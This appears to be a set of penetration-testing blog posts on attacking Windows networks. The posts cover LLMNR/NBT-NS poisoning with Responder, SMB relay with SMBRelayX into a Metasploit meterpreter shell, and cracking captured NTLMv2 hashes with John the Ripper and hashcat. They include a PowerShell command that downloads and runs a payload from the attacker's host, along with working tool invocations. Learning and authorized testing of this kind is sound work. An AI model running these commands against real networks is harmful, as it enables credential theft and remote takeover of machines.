Relaying NetNTLMv2 hashes into a meterpreter shell

Similar to the previous post, in this scenario we also have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug our box into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately attempt to escalate our privileges throughout the environment.

The tools we’ll be using are:

With an SMB relay attack, the attacker inserts himself into the middle of the NTLM challenge/response handshake with the intent of taking that authentication and “relaying” it to another host on the same network. The attacker will choose a target on the LAN and then wait for a workstation on the network to authenticate to the attacker machine. When a connection is made, the attacker passes the authentication attempt (the NTLM handshake) to the target/victim. This is the relay. The target generates a challenge and sends it back to the attacker. The attacker sends the challenge back to the original system. This is the response. That system encrypts the hash with the correct password hash and sends it to the attacker. The attacker passes the correctly encrypted response back to his target and successfully authenticates. This process is shown below:

smbrelaypic.png

First we need to do some reconnaissance and discover some hosts on our subnet. This can be done with nbtscan or other tools (like fping or nmap). Our target will be 192.168.22.72

1.png

Before we attempt to pass NetNTLMv2 hashes around the network, we first need to setup our meterpreter listener and chose an exploit and payload in Metasploit.

2

In short, we need populate many of the “options”. Most of this should be self explanatory:

  • use exploit/multi/script/web_delivery
  • set TARGET 2 (this is to indicate the powershell payload)
  • set URIPATH /
  • set PAYLOAD windows/meterpreter/reverse_tcp
  • set LHOST <local kali ip> (you can snag this with ifconfig)
  • exploit

3

Now that our listener is running and waiting to receive connections, we would normally need our victim(s) to run the following command on their workstation: powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.22.63:8080/&#8217;)

If the victim were to do this, we would have a meterpreter shell to play with. Since this is not very likely to happen without some form of social engineering, we want to leverage our other two tools (Responder and SMBRelayX) to handle SMB relaying and execution of our payload on our target/victim machine.

On our Kali box, we run the following command: ./smbrelayx.py -h 192.168.22.72 -c “powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.22.63:8080/&#8217;)”

4.PNG

SMBRelayX will help us by establishing a malicious SMB server so that we can relay network authentication attempts from legitimate users to our target – which is specified with the “-h” parameter. We can also see our payload defined above as well.

Secondly, we can now fire up Responder. Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.

5.PNG

The errors are normal. SMBRelayX is already listening on ports 445 and 80 – so Responder cannot bind to those ports. For this exercise to be effective, SMBRelayX needs to be started before Responder so that it can utilize 445 and 80.

After some time, we should (hopefully) see some incoming connections in both the Responder window and in our SMBRelayX window. See below:

Responder Window:

7.PNG

SMBRelayX Window:

6.PNG

When we see start to see this type of activity, it should be an indicator that we also have a shell back in Metasploit…which we do:

8

Breaching a Windows environment by capturing and cracking NTLM challenge/response hashes

In this scenario we have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately escalate our privileges throughout the environment.

The tools we’ll be using are:

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.

This default behavior can be leveraged into a foothold for an attacker within the network. An attacker can impersonate the servers/services being requested by other workstations and convince the workstation to provide authentication information to it – instead of the actual server. Consider the following example:

  1. A workstation attempts to access the UNC path \\SERVER01, but mistakenly types in \\SRVER01.
  2. That workstation’s DNS server(s) responds to the query saying that it doesn’t know any host by that name.
  3. The workstation then query’s all other devices on the LAN asking if they know of the location of \\SRVER01
  4. An attacker responds to the workstation, informing it that it is SRVER01
  5. The workstation then goes through the typical challenge/response procedure to validate the domain user’s credentials. During this step, the attacker able to capture the domain user’s NTLMv2 hash.
  6. The attacker can now attempt to crack the hash to discover the domain user’s password in order to gain additional access to the environment.

2.png

To start, we need our Kali Linux box to exist on the same subnet as all the other workstations. After plugging into the network, can attempt to discover hosts on our subnet by looking at the IP address assigned to us via DHCP:

1.jpg

Using the above information, we can scan our subnet for workstations with the following command: nbtscan 192.168.23.0/24

3.jpg

This should give us enough information and insight about the network to fire up Responder and attempt to capture NTLM challenge/response hashes. If our nbtscan returned no (or limited) results, running Responder on that particular subnet would probably be ineffective.

Responder is a very powerful tool and it has the potential to break stuff on a network. I don’t plan to explain all of the capabilities and nuances of Responder – so use it at your own risk. An effective command for capturing hashes within a Windows network is: ./Responder.py -I eth0 -wrdfbF

After letting Responder run for a few minutes, we are able to capture the following Challenge/Response handshake hash when a host on the network attempts to access the below network resource:

4.jpg

We are then able to take this captured hash and feed it into John The Ripper and attempt to crack it against a dictionary file of known passwords. In this particular instance, we’re using the Rockyou file. This is seen below:

5

We can see  (above) that this particular domain user has a very weak password that was able to be cracked within 23 seconds. This was/is an actual domain user account within a production environment. With this information, we are now able to use other tools to enumerate where this user has privileges on the network and further escalate our privileges within the environment.

This topic will be covered in a future post.

Capturing And Cracking NTLMv2 Hashes On The LAN

Target Name: John Doe
Target box: 172.17.130.111 (domain joined)
Attack/facilitator box: 172.17.130.76 (Kali Linux)
Wireshark box: 172.17.130.76 (Kali Linux)

With a comprised host on the network, the idea is to get an unsuspecting victim to click a link to a network share from their workstation. As a result, when they do, it will ultimately pass NTLM challenge/response packets which can be captured and viewed using Wireshark.  Below is the process for capturing such packets, rebuilding them into a format that is usable by hashcat for the purposes of cracking their Active Directory password.

First the “victim” (John Doe) must be convinced to click on a link.  This really isn’t all that difficult but outside of the scope of this document.  Consider an email message with a link to \\172.17.130.76 (attacker/facilitator machine). Prior to clicking, we want Wireshark to be open and listening on the appropriate interface in order to capture the required packets.

Capture1

The quickest way to find the packets we are most concerned with is to setup a filter for “ntlmssp”.  From there, we only need two packets: The highlighted line, and the one directly below it.

Capture2

At this point, we want to have a text editor open so that we can copy the values from the below screenshots as plain text.  After everything is pasted into the editor, it will need to be rearranged into a particular order.

Capture3

It is important to capture the NTLMv2 Response as “Hex Stream”.

Capture4

Below is an example of the information one would need to properly built the challenge/response information back into a format that is able to be cracked. The domain username and domain name can be gleaned from the NTLMSSP_AUTH packet (2nd one in the original screenshot)  The most important thing to notice is the location of the colons. Specifically, there MUST be a colon after the first 32 bits of the NTLM RESPONCE.  This usually where you will notice a few 010101’s. Also, notice the double colons (::) after the domain username too.

Capture5

This entire string needs to be saved into a single line text file (again, remember the placement of the colons):

Capture6

Once in a text file, this file can be piped through hashcat and against your favorite wordlists using the following command:

hashcat -m 5600 asdf.txt wordlist.txt

Capture7

As seen in the screengrab above, the password for John Doe’s AD account is “Summer2016”